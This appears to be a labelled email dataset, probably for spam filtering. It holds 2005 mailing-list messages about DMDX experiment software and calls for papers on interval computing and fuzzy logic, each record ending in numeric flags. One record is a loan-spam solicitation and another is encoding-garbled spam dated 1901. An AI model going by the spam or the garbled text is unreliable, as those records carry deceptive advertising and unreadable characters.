outside the US) 67 Wall Street, 22nd Floor New York, NY 10005 http://reducemail.com ""Jonathan C. Forster"" Sent by: DMDX-owner@psy1.psych.arizona.edu 06/02/2005 07:51 PM Please respond to DMDX To: DMDX@psy1.psych.arizona.edu cc: Subject: [DMDX] Re: White background and grey text best combo? At 05:58 PM 6/2/2005 -0400, you wrote: The display is indeed 60HZ. It is a TFT - should I use a CRT instead? No, I'd say a TFT is more preferable. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 17:54:19 -0700",[DMDX] Re: White background and grey text best combo?,"At 08:42 PM 6/2/2005 -0400, you wrote: >Should I try to increase the refresh rate? You can't, or if you do it (a) serves no purpose and (b) the times I've accidentally run a TFT faster than 60 Hz it's washed the display out. TFTs are another whole kettle of fish, the only time you need to be careful is doing tachistoscopic displays with a TFT with a slow response time -- which you can't do. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. 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REAL NUMBERS Special issue of the journal Theoretical Informatics and Applications http://www.edpsciences.org/journal/index.cfm?edpsname=ita Guest editors: Vasco Brattka, Christiane Frougny, Norbert Mueller IMPORTANT DATES (tentative planning): - Deadline for submissions of manuscripts: June 15th 2005 (full papers only; extended abstracts will be rejected) - Notification of acceptance/rejection: October 1st 2005 - Deadline for reception of final papers: December 15th 2005 Efficient manipulation of real numbers in computers is still a challenge. Many interesting theoretical and algorithmic problems are linked with that topic and belong to quite distant fields such as computer science, number theory, numerical analysis, computer algebra and logics. Several special issues on real numbers and computers have been previously published in the journal Theoretical Computer Science, as follow-up to the RNC meetings on these topics. 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Language: English. -- Christiane Frougny --------------------------------------------------- LIAFA, CNRS UMR 7089 - Case 7014 2 place Jussieu - 75251 Paris Cedex 05 - France --------------------------------------------------- Courriel : Christiane.Frougny@liafa.jussieu.fr http://www.liafa.jussieu.fr/~cf Tel : +33 1 44 27 54 43 - Fax : +33 1 44 27 68 49 Bureau : 6A 31 bis, 175 rue du Chevaleret - 75013 Paris ",0,1 Philippe Langlois ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Fri, 27 May 2005 14:22:47 +0200",More Accurate Computation at ACM-SAC 2006: CFP,"Dear colleagues, Few weeks ago, Vladik Kreinovich announced two interval-related tracks, identified as RCA and MCMS, at next 2006 ACM Symposium on Applied Computing (Dijon, France, April 23-27, 2006). We complete his email with the CFP and the URL for the latter. * RCA: Reliable Computations and their Applications, with an emphasis on combining interval and constraint satisfaction techniques. (organized by Martine Ceberio, Vladik Kreinovich and Michel Rueher http://www.cs.utep.edu/mceberio/Research/Conferences/RCA06/ * MCMS: More Accurate Computations: Methods and Software, with a focus on today's and tomorrow's methods and software that go father than the precision currently available on our computers (organized by Philippe Langlois and Siegfried M. Rump). All information is available at: http://webdali.univ-perp.fr/mcms MCMS Important Due Dates: * September 1, 2005: Abstract due * September 3, 2005: Paper submissions * October 15, 2005: Author notification * November 5, 2005: Camera-Ready copy Ph. Langlois and S.M. Rump (Apologies for multiple copies) -- Philippe LANGLOIS Universite de Perpignan, France. Phone: +33 (0) 468 662 135 http://webdali.univ-perp.fr/~langlois ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 21:55:46 -0700",[DMDX] background audio,"I think the easiest and cleanest way to do the background audio is to have it start when the item is parsed that contains the definition (before the item's display) and similarly have it stop when the item that contains a blank background audio specification is similarly parsed. This will be it's use here where people have simply wanted some background noise to be continually present. Integrating an indefinite length audio segment into the regular DMDX queue of frames so that it's beginning and ending can be rigorously controlled in a timewise fashion is fraught with peril and I'm pretty sure is unnecessary. It would be similar to the in that it would not affect the item's timing or display in any way. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine.",0,0 Eugen Tarnow ,DMDX@psy1.psych.arizona.edu,"Fri, 03 Jun 2005 13:35:28 -0400",[DMDX] Re: Randomizing presentation time,"Hello. I would like to randomize the inter-item delay time between 1 and 2 seconds. How do I do that? Can I put it at the top of the input file or should I add something after each item? Thank you very much. Eugen Tarnow ""j.c.f."" Sent by: DMDX-owner@psy1.psych.arizona.edu 05/30/2005 10:23 PM Please respond to DMDX To: DMDX@psy1.psych.arizona.edu cc: Subject: [DMDX] Re: Randomizing presentation time At 07:00 PM 5/30/2005 -0400, you wrote: >I would like to randomize the time presentation time somewhat - can I do >that with DMDX? Yes, a counter can be assigned a constrained random value and a frame's duration can be set with a counter. See and <%ctr>. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Jun 2005 15:14:38 -0700",[DMDX] Re: Randomizing presentation time,"You will have to have a frame at the end of every item whose duration is specified by a counter than has been setup with a random value. Like this: +1 * ""target"" / <%ctr 0> / ; +2 * ""target"" / <%ctr 0> / ; +3 * ""target"" / <%ctr 0> / ; At 01:35 PM 6/3/2005 -0400, you wrote: >Hello. > >I would like to randomize the inter-item delay time between 1 and 2 >seconds. How do I do that? Can I put it at the top of the input file or >should I add something after each item? > >Thank you very much. >Eugen Tarnow > > > >""j.c.f."" >Sent by: DMDX-owner@psy1.psych.arizona.edu > >05/30/2005 10:23 PM >Please respond to DMDX > > To: DMDX@psy1.psych.arizona.edu > cc: > Subject: [DMDX] Re: Randomizing presentation time > > >At 07:00 PM 5/30/2005 -0400, you wrote: > > >I would like to randomize the time presentation time somewhat - can I do > >that with DMDX? > > Yes, a counter can be assigned a constrained random value and a frame's >duration can be set with a counter. See and <%ctr>. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >To iterate is human, to recurse, divine. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 03 Jun 2005 15:21:23 -0700",[DMDX] DMDX 3.1.3.0,"DMDX 3.1.3.0 introduces the Background Sound Keyword The frame's definition and contents exactly parallel a Sound Frame's, any keyword appropriate there is appropriate here. The difference is that the has no other effect other than to start playing the specified wave file in a looped fashion, continuously. As far as DMDX's presentation is concerned the frame does not exist. Once a frame with this keyword has been parsed DMDX will play the sound continually, that is the sound will commence before the item displays as DMDX waits for the previous item's request. If there is no filename present in a specification the current background sound will be stopped. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to.",0,0 ���Q�p�B����ౡB�B���z�B�G�g�ߡB�i���f�B���اʡB�i�ɪ�B���s�� ,bruce.feldman@espn3.com,"Thu, 03 Jan 1901 06:07:07 +0800",���v�z��t�C-��.6,�����k�P~���w���k������ ��.��.�f.��.�T.����!��.��.��.��.��.��!��.��.��.��.��.�k.��.��!��.��.��.��.��.��.��...�U���v���q�q�� ���h���m��.�H.��.��..... �u���B�k-�h����,1,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, vladik@cs.utep.edu","Sat, 04 Jun 2005 10:20:25 -0600",special sessions at InTech'05," Forwarding. Vladik ****************************************************** From: jirapun@scitech.au.edu ... If you know anyone who is interested in organizing a special session at InTech'05, could you please ask them to send me a proposal asap (the due date is the 6th June), so we have time to both evaluate it and, if accepted, put their information on our InTech's web. Regards, Jirapun ************************************************************************* Sixth International Conference on Intelligent Technologies InTech'05 Phuket Island, Thailand, December 14-16, 2005 http://www.s-t.au.ac.th/~intech/ Call for Special Session Proposals The InTech 05 Organizing Committee invites proposals for special sessions to be held during the conference. Each special session proposal should be well focused and motivated. It should consist of a list of four to six papers. Each paper in the list must have a title, names of authors with e-mails/Web sites, and an abstract. The special session organizer's contact information should also be included. All special session organizers must obtain firm commitments from their special session presenters and authors to submit papers in a timely fashion and, of course, to present them at InTech 05 (if the special session is accepted). The special session organizers will be responsible for the quality of the special session papers. They are expected to obtain three reviews for each paper and make recommendations on the papers to the program chairs based on the review reports. All accepted papers will be published in the InTech 05 Proceedings. Authors who planned papers for special sessions which were not accepted can submit their papers as regular submissions. NOTE: For the special sessions, restrictions on the number of pages will be the same as those for regular sessions. Proposals should be submitted in ELECTRONIC FORM to: Jirapun Daengdej (jirapun@scitech.au.edu) Important Deadlines June 6, 2005 Special session proposal deadline June 20, 2005 Notification of final acceptance of special session ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Sat, 04 Jun 2005 11:34:32 -0600",interval sessions at an anniversary fuzzy meeting ,"Dear Friends, I realize that it is a very short notice, but I think it will be a very good idea to organize a special session on the relation between fuzzy, interval, and probability approaches - and on joint applications of these techniques, along the lines of the special issues of Reliable Computing and Fuzzy Sets and Systems and special sessions at fuzzy conferences organized and sponsored by Weldon Lodwick, Dan Berleant, Scott Starks, and many others. A lot of researchers are working in these areas, as most of you know Arnold Neumaier published a fundamental paper in FSS, a lot of the relation has been covered in NSF meeting on interval techniques in engineering organized by Fafi Muhanna and Robert Mullen. There are many interesting applications to engineering, including control, to geoinformatics, bioinformatics and other areas. Quite a lot of related papers were presented at a recent FUZZ-IEEE'05 conference in Reno, Nevada, where several special sessions were devoted to interval-related topics - several, on interval-valued fuzzy sets organized by Jerry Mendel (chair of IEEE Technical Committee on Fuzzy) and Bob John, one of the main organizers of FUZZ-IEEE'06 in London, UK. Interesting new interval-related algorithms were presented in a FUZZ-IEEE'05 paper by D. Dubois and others. Dr. Masoud Nikravesh, the main organizer of this Berkeley meeting, has encouraged us interval folks, at FUZZ-IEEE, to participate in FLINT'05. This is one more good opportunity to make our interval methods even better known to fuzzy community - in a celebratory conference in honor of 40th anniversary of the publication of the 1st fuzzy paper, a conference that will attract a lot of top researchers and top application folks. To make this special interval session possible, we need, by June 10, 2005, to send a list of potential authors and topics (see details below). Please send me the info ASAP if you are interested in coming. Vladik ************************************************************************** BISC Special Event-FLINT 2005 http://www-bisc.cs.berkeley.edu/BISCSE2005/ The legacy of accomplishment, excellence and people who contribute to the advancement of computational intelligence through science and technology to better serve global community FORGING NEW FRONTIERS 40th of Fuzzy Pioneers (1965-2005) Fuzzy Sets, Inf. Control 8, 338-353, 1965. Toward a Generalized Theory of Uncertainty (GTU) - An Outline, Information Sciences, 2005. (1965-2005, 2010, 2015, 2020, 2025, ...) Fuzzy Set: 1965 - Fuzzy Logic: 1973 - BISC: 1990 - Human-Machine Perception: 2000 - ... November 3-5, 2005 University of California-Berkeley Berkeley, California, USA Where Fuzzy Began CALL FOR PAPERS The 2005 BISC International Special Event-FLINT05 ""FORGING THE FRONTIERS"" will be held in the University of California, Berkeley, from November 3 - 5, 2005. UC Berkeley, WHERE FUZZY LOGIC BEGAN, is a preeminent research institution in the proximity of Silicon Valley. The successful applications of fuzzy logic and its rapid growth suggest that the impact of fuzzy logic will be felt increasingly in coming years. Fuzzy logic is likely to play an especially important role in science and engineering, but eventually its influence may extend much farther. In many ways, fuzzy logic represents a significant paradigm shift in the aims of computing - a shift which reflects the fact that the human mind, unlike present day computers, possesses a remarkable ability to store and process information which is pervasively imprecise, uncertain and lacking in categoricity. The BISC Program invites pioneers, the most prominent contributors, researchers, and executives from around the world who are interested in forging the frontiers by the use of fuzzy logic and soft computing methods to create the information backbone for global enterprises. This special event will provide a unique and excellent opportunity for the academic, industry leaders and corporate communities to address new challenges, share solutions, and discuss research directions for the future with enormous potential for the future of the Global Economy. Technical topics of interest include, but are not limited to: Soft Computing Techniques/Methodologies/Tools Fuzzy Sets Fuzzy Logic Knowledge Management/Discovery Data Mining Clustering Hybrid System Fuzzy-EC-Based Soft Computing Decision Analysis Decision Tree & Support System Case-Based & Rule-Based Reasoning Agent Technology Bioinformatics Search Engine & Bioinformatics Search Engine & Q/A System Search Engine & Text Data Mining Navigation User Profiling Search Engine & Internet Spam Knowledge Management & Discovery CyberSecurity & Counter Terrorisms Web Community Fraud Detection Information Filtering Multi-Media Data Mining CRM/Customer Services CALL FOR INVITED SESSIONS The goal of the invited sessions is to provide focused discussion on a new topic, or innovative applications of a new approach. Proposals for invited sessions should be submitted by June 10, 2005 to the Program Chair. Each invited session consists of three-four papers, which will be reviewed through the normal process. The proposal should be submitted by the session organizer, and include a brief statement of the focus of the paper, short bio of authors (including title of 3-5 refereed papers) along with authors and titles of each paper submitted electronically. CALL FOR TUTORIALS Requirements for Proposals: Proposals for tutorials that address the technical topics related to the workshop theme are welcome. We encourage programs that will attract industrial members, and programs with high anticipated level of interest, impact, creativity. Tutorial Proposals must follow the format below and be submitted via email to: flint-cibi@eecs.berkeley.edu by June 10, 2005. Please email only ASCII text, MS-word or Postscript files. Proposal Format: 1. Title 2. Abstract/List of Topics (< 1000 words, indicate full or half day tutorial) 3. Speakers (complete address, phone, and email. short Bio including title of 3-5 refereed papers) 4. Motivation and Objectives (< 300 words) 5. Primary/Secondary Audience All reviews and interactions will be conducted via email. Organizers agree to collect written course notes from all speakers no later than Sept. 1, 2005. EXHIBITION There will be an exhibition site at the workshop. Reservations for space and further information may be obtained by contacting Local Chairs. Computer Science Division Department of Electrical Engineering and Computer Sciences University of California, Berkeley Berkeley, CA 94720-1776 Tel: (510) 643-4522 and 4519, FAX: 510-642-5775 mailto: Nikravesh@cs.berkeley.edu http://www-bisc.cs.berkeley.edu/",0,1 Jeanne rumyjab ,DMDX@psy1.psych.arizona.edu,"Sun, 05 Jun 2005 19:14:30 +0100",we don't care what you're buying,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. 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Is this just a matter of convention or is >> it for some other reason? > > > Without the semicolons the next item will become part of the comment, > you won't ever see the Press the SPACE when ready. Comments don't end > with a physical end of line. > >! tick 11.773ms, fd 4 = 47ms, d 8 = 94ms >! ISI : 594 + blank, require 750 - 1500ms >! shortest 594 + 14 tick = 759ms >! longest 594 + 76 = 1488ms > >0 ""Press the SPACE when ready""; > > /""\\ > -jonathan (j.c.f.) \\ / > X ",0,0 Dr John D Pryce ,"George Corliss , reliable_computing@interval.louisiana.edu","Mon, 06 Jun 2005 11:36:39 +0100",Re: Sun's interval patents,"George Have you seen, & has the Reliable Computing Bulletin been told, of the article ""How to fix the ailing US patent system"" in the magazine IEEE Spectrum, Dec 2004? John Dr John D Pryce Lecturer in Mathematical Software Engineering Computer Information Systems Engineering Dept Cranfield University, RMCS Shrivenham Swindon SN6 8LA, UK Tel +44 (0)1793-785683 direct, +44 (0)1793-785931 secretaries, +44 (0)1793-785366 fax -- This message has been scanned for viruses and dangerous content by the Cranfield MailScanner, and is believed to be clean. ",0,0 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 14:11:00 +0100",[DMDX] Problems with tiimg in Win2000 and XP," Hi, I'm trying to install DmDX on two machines and I am experiencing problems on both with setting the video timing parameters. I keep getting 'certain errors' and many time out's and multiple time out's. I tried a shorter sleep time, or a smaller value for the 'maximum lines to blit' field, but nothing helps. The 'tachistoscopic acid test' also fails most of the times on both machines. The reported actual sleep time are often double the requested sleep times, and many are longer that the refresh time. But some are reported to be 0.0 ms! Setting the priority for the vertical retrace thread to 'time critical' doesn't help. One machine runs Windows 2000 and the other Windows XP, both patched to the most recent version. Both have DirectX 9.0. The XP one has a NVidia GeForce MX2 video card with the lastest driver, the Win2000 machine has a Radeon 7500 video card. Both have a Keithley PIO card and the latest version of DmDX installed. The strangest thing is that the WinXP machine used to have Win98 installed and ran DmDx with that without any problem at all! So, I am pretty sure it is not the hardware. Does anyone know what might be going wrong? What could I try to find out what is going on here? I did close all other applications, by the way, even stopped the virus scanner. Thanks, Maarten ",0,0 Nikravesh ,Vladik Kreinovich ,"Sat, 04 Jun 2005 15:02:44 -0700",Re: interval sessions at an anniversary fuzzy meeting,"Dear Vladik; Prof. Zadeh had lecture in NERSC (National Energy Research Scientific Computing Center) and had discussion with Director of Center, who in fact, I am working under his program and I do represent both LBNL and NERSC in State of California funded program which we do fund Faculties . http://www.nersc.gov/ As some of you also know, NERSC is the largest Super computing within DOE that public can have access to it. The reason for that background is that, as Valdik you have also recognized very well, there are so many interesting problems that supper computing also does not help, and they are mostly very complex and uncertain (variables). Well, during the meeting that Lotfi had with our Director and we have also routinely, one of the top area of interest is to how to go from data with probability (which have information) to Interval (which no assumption with respect to what are the distributions) to Fuzzy and eventually to information that are linguistics. That has been focus of discussion with Prof. Zadeh and our Director in NERSC and also a group that I am part of it at LBNL. In my believe and I think that would be one of the Lotfi's believes that this field has a tremendous potential for fuzzy community that can impact the Engineering field for the years to come and may need more attention. I am looking forward to your contribution and have a special session in this field that cover, both theoretical background and application and road map. Best Regards, Masoud Kreinovich wrote: >Dear Friends, > >I realize that it is a very short notice, but I think it will be a very good >idea to organize a special session on the relation between fuzzy, interval, and >probability approaches - and on joint applications of these techniques, along >the lines of the special issues of Reliable Computing and Fuzzy Sets and >Systems and special sessions at fuzzy conferences organized and sponsored by >Weldon Lodwick, Dan Berleant, Scott Starks, and many others. > >A lot of researchers are working in these areas, as most of you know Arnold >Neumaier published a fundamental paper in FSS, a lot of the relation has been >covered in NSF meeting on interval techniques in engineering organized by Fafi >Muhanna and Robert Mullen. There are many interesting applications to >engineering, including control, to geoinformatics, bioinformatics and other >areas. > >Quite a lot of related papers were presented at a recent FUZZ-IEEE'05 >conference in Reno, Nevada, where several special sessions were devoted to >interval-related topics - several, on interval-valued fuzzy sets organized by >Jerry Mendel (chair of IEEE Technical Committee on Fuzzy) and Bob John, one of >the main organizers of FUZZ-IEEE'06 in London, UK. > >Interesting new interval-related algorithms were presented in a FUZZ-IEEE'05 >paper by D. Dubois and others. > >Dr. Masoud Nikravesh, the main organizer of this Berkeley meeting, has >encouraged us interval folks, at FUZZ-IEEE, to participate in FLINT'05. > >This is one more good opportunity to make our interval methods even better >known to fuzzy community - in a celebratory conference in honor of 40th >anniversary of the publication of the 1st fuzzy paper, a conference that will >attract a lot of top researchers and top application folks. > >To make this special interval session possible, we need, by June 10, 2005, to >send a list of potential authors and topics (see details below). > >Please send me the info ASAP if you are interested in coming. > >Vladik >************************************************************************** > >BISC Special Event-FLINT 2005 >http://www-bisc.cs.berkeley.edu/BISCSE2005/ > >The legacy of accomplishment, excellence and people >who contribute to the advancement of computational intelligence >through science and technology to better serve global community > >FORGING NEW FRONTIERS >40th of Fuzzy Pioneers (1965-2005) > >Fuzzy Sets, Inf. Control 8, 338-353, 1965. > >Toward a Generalized Theory of Uncertainty (GTU) - An Outline, >Information Sciences, 2005. > >(1965-2005, 2010, 2015, 2020, 2025, ...) > >Fuzzy Set: 1965 - Fuzzy Logic: 1973 - BISC: 1990 - >Human-Machine Perception: 2000 - ... > >November 3-5, 2005 >University of California-Berkeley >Berkeley, California, USA >Where Fuzzy Began > >CALL FOR PAPERS > >The 2005 BISC International Special Event-FLINT05 ""FORGING THE FRONTIERS"" >will be held in the University of California, Berkeley, from >November 3 - 5, 2005. UC Berkeley, WHERE FUZZY LOGIC BEGAN, is >a preeminent research institution in the proximity of Silicon >Valley. The successful applications of fuzzy logic and its >rapid growth suggest that the impact of fuzzy logic will be felt >increasingly in coming years. Fuzzy logic is likely to play an especially >important role in science and engineering, but eventually its influence may >extend much farther. In many ways, fuzzy logic represents a significant >paradigm shift in the aims of computing - a shift which reflects the fact >that the human mind, unlike present day computers, possesses a remarkable >ability to store and process information which is pervasively >imprecise, uncertain and lacking in categoricity. > >The BISC Program invites pioneers, the most prominent contributors, >researchers, and executives from around the world who are interested >in forging the frontiers by the use of fuzzy logic and soft computing >methods to create the information backbone for global >enterprises. This special event will provide a unique and excellent >opportunity for the academic, industry leaders and corporate >communities to address new challenges, share solutions, and discuss >research directions for the future with enormous potential for the >future of the Global Economy. > >Technical topics of interest include, but are not limited to: > > Soft Computing Techniques/Methodologies/Tools > Fuzzy Sets > Fuzzy Logic > Knowledge Management/Discovery > Data Mining > Clustering > Hybrid System > Fuzzy-EC-Based > Soft Computing > Decision Analysis > Decision Tree & Support System > Case-Based & Rule-Based Reasoning > Agent Technology > Bioinformatics > Search Engine & Bioinformatics > Search Engine & Q/A System > Search Engine & Text Data Mining > Navigation > User Profiling > Search Engine & Internet > Spam > Knowledge Management & Discovery > CyberSecurity & Counter Terrorisms > Web Community > Fraud Detection > Information Filtering > Multi-Media > Data Mining > CRM/Customer Services > >CALL FOR INVITED SESSIONS > >The goal of the invited sessions is to provide focused >discussion on a new topic, or innovative applications of >a new approach. Proposals for invited sessions should be submitted >by June 10, 2005 to the Program Chair. Each invited session consists >of three-four papers, which will be reviewed through the normal >process. The proposal should be submitted by the >session organizer, and include a brief statement of the focus of the paper, >short bio of authors (including title of 3-5 refereed papers) >along with authors and titles of each paper submitted electronically. > >CALL FOR TUTORIALS > >Requirements for Proposals: Proposals for tutorials that address the >technical topics related to the workshop theme are welcome. We encourage >programs that will attract industrial members, and programs with high >anticipated level of interest, impact, creativity. > >Tutorial Proposals must follow the format below and be submitted >via email to: flint-cibi@eecs.berkeley.edu by June 10, 2005. >Please email only ASCII text, MS-word or Postscript files. > >Proposal Format: > 1. Title > 2. Abstract/List of Topics (< 1000 words, indicate full or half day > tutorial) > 3. Speakers (complete address, phone, and email. short Bio including title > of 3-5 refereed papers) > 4. Motivation and Objectives (< 300 words) > 5. Primary/Secondary Audience > >All reviews and interactions will be conducted via email. Organizers >agree to collect written course notes from all speakers no later than >Sept. 1, 2005. > >EXHIBITION > >There will be an exhibition site at the workshop. Reservations for >space and further information may be obtained by contacting Local >Chairs. > >Computer Science Division >Department of Electrical Engineering and Computer Sciences >University of California, Berkeley >Berkeley, CA 94720-1776 >Tel: (510) 643-4522 and 4519, FAX: 510-642-5775 >mailto: Nikravesh@cs.berkeley.edu >http://www-bisc.cs.berkeley.edu/ > > > -- ---- BISC Special Event FLINT 2005 FORGING NEW FRONTIERS 40th of Fuzzy Pioneers (1965-2005) Dedicated to: Prof. Lotfi A. Zadeh “The Inventor, Founder and Father of Fuzzy Sets and Logics” http://www-bisc.cs.berkeley.edu/BISCSE2005/ November 3-5 2005 University of California-Berkeley Berkeley, California, USA “Where Fuzzy Began” Fuzzy sets, Inf. Control 8, 338-353, 1965. Toward a Generalized Theory of Uncertainty (GTU)—An Outline, Information Sciences, 2005. “Working together to better serve global community” (1965-2005, 2010, 2015, 2020, 2025, 2030) Fuzzy Set: 1965 … Fuzzy Logic: 1973 … BISC: 1990 … Human-Machine Perception: 2000 - … http://www-bisc.eecs.berkeley.edu/ http://zadeh.cs.berkeley.edu/ “The legacy of accomplishment, excellence and people who contribute to the advancement of computational intelligence through science and technology to better serve global community”",0,1 C A Ankerstein ,DMDX mailing list ,"Mon, 06 Jun 2005 14:43:01 +0100",[DMDX] median response times,"Hi All, 2 Questions: Is it possible to get the median response times using Analyze? Does anyone know of the most commonly used cut-offs for RTs that are too short, i.e. likely to be anticipatory responses rather than true responses. I've used 250ms, but 150ms seems to be common. I was just wondering if there was a standard procedure out there. Thanks, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 07:33:52 -0700",[DMDX] Re: Does this do what I think?,"At 05:36 PM 6/6/2005 +1000, you wrote: >I still think that a semicolon on the end of a comment seems a bit >redundant but its your software so if that is the way you want it then >that is how I'll use it. Apart from the fact that the only newline DMDX ever sees is the one that's at the end of a old style parameter line a comment is an item and an item at it's barest level is a CR indicator (which in this case is a tilde making the item a comment) and a semi-colon that marks the end of the item. It's not at all arbitrary, believe me. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 07:40:29 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP," Did you try setting TimedDX's Read Between Flips to Stop Cheating Drivers in the Refresh Rate test? At 02:11 PM 6/6/2005 +0100, you wrote: >Hi, > >I'm trying to install DmDX on two machines and I am experiencing >problems on both with setting the video timing parameters. > >I keep getting 'certain errors' and many time out's and multiple >time out's. I tried a shorter sleep time, or a smaller value for the >'maximum lines to blit' field, but nothing helps. >The 'tachistoscopic acid test' also fails most of the times on >both machines. > >The reported actual sleep time are often double the requested >sleep times, and many are longer that the refresh time. But some >are reported to be 0.0 ms! >Setting the priority for the vertical retrace thread to 'time critical' >doesn't help. > >One machine runs Windows 2000 and the other Windows XP, >both patched to the most recent version. Both have DirectX 9.0. >The XP one has a NVidia GeForce MX2 video card with the >lastest driver, the Win2000 machine has a Radeon 7500 video >card. Both have a Keithley PIO card and the latest version of >DmDX installed. > >The strangest thing is that the WinXP machine used to have Win98 >installed and ran DmDx with that without any problem at all! >So, I am pretty sure it is not the hardware. There's as much relationship between a windows 98 device driver and one for a unix machine as there is between a 98 driver and an XP machine. To wit, none. So a machine with XP is essentially a whole new beast. It might look the same to you and your software might still be working but there's a whole different set of underpinnings in there. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 07:41:35 -0700",[DMDX] Re: median response times,"At 02:43 PM 6/6/2005 +0100, you wrote: >Hi All, > >2 Questions: > >Is it possible to get the median response times using Analyze? Yes. >Does anyone know of the most commonly used cut-offs for RTs that are too >short, >i.e. likely to be anticipatory responses rather than true responses. I've used >250ms, but 150ms seems to be common. I was just wondering if there was a >standard procedure out there. 200 tends to get used around here but the scientists would have to reply for that. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 15:55:13 +0100",[DMDX] Re: Problems with tiimg in Win2000 and XP," Hi Jonathan, Thanks for the reply. > Did you try setting TimedDX's Read Between Flips to Stop Cheating Drivers in the Refresh Rate test? Yes, I did. It didn't make a difference as far as I could see. Maarten ",0,0 """G. William Walster"" ",Dr John D Pryce ,"Mon, 06 Jun 2005 06:13:09 -0700",Re: Sun's interval patents,"Thanks, John. Hope you are well. Is this the article? I had not seen it. Thanks, Bill Dr John D Pryce wrote: >George >Have you seen, & has the Reliable Computing Bulletin been told, of the >article ""How to fix the ailing US patent system"" in the magazine IEEE >Spectrum, Dec 2004? >John > >Dr John D Pryce >Lecturer in Mathematical Software Engineering >Computer Information Systems Engineering Dept >Cranfield University, RMCS Shrivenham >Swindon SN6 8LA, UK >Tel +44 (0)1793-785683 direct, > +44 (0)1793-785931 secretaries, > +44 (0)1793-785366 fax > > > > >",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 09:26:12 -0700",[DMDX] Re: Problems with tiimg in Win2000 and XP,"At 03:55 PM 6/6/2005 +0100, you wrote: >Hi Jonathan, > >Thanks for the reply. > > > Did you try setting TimedDX's Read Between Flips to Stop Cheating > Drivers in the Refresh Rate test? > >Yes, I did. It didn't make a difference as far as I could see. Really long sleep times are usually indicative of some driver trouble. I'd try swapping the video cards around, removing all extraneous hardware not necessary for the machine to function, testing the memory. Basically you want to perturb the hardware setup as much as possible. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to. ",0,0 C A Ankerstein ,DMDX@psy1.psych.arizona.edu,"Mon, 06 Jun 2005 17:39:09 +0100",[DMDX] Re: median response times,">Is it possible to get the median response times using Analyze? > > Yes. Next question: How? I can't find any place to specify that I want median RTs as opposed to means--using Analyze 2.04. Do I put this in the .spc file? If so, what command do I need? Thanks again, Carrie -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk Quoting ""j.c.f."" : > At 02:43 PM 6/6/2005 +0100, you wrote: > >Hi All, > > > >2 Questions: > > > >Is it possible to get the median response times using Analyze? > > Yes. > > > >Does anyone know of the most commonly used cut-offs for RTs that are too > >short, > >i.e. likely to be anticipatory responses rather than true responses. I've > used > >250ms, but 150ms seems to be common. I was just wondering if there was a > >standard procedure out there. > > > 200 tends to get used around here but the scientists would have to reply > for that. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > To iterate is human, to recurse, divine. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """Jonathan C. Forster"" 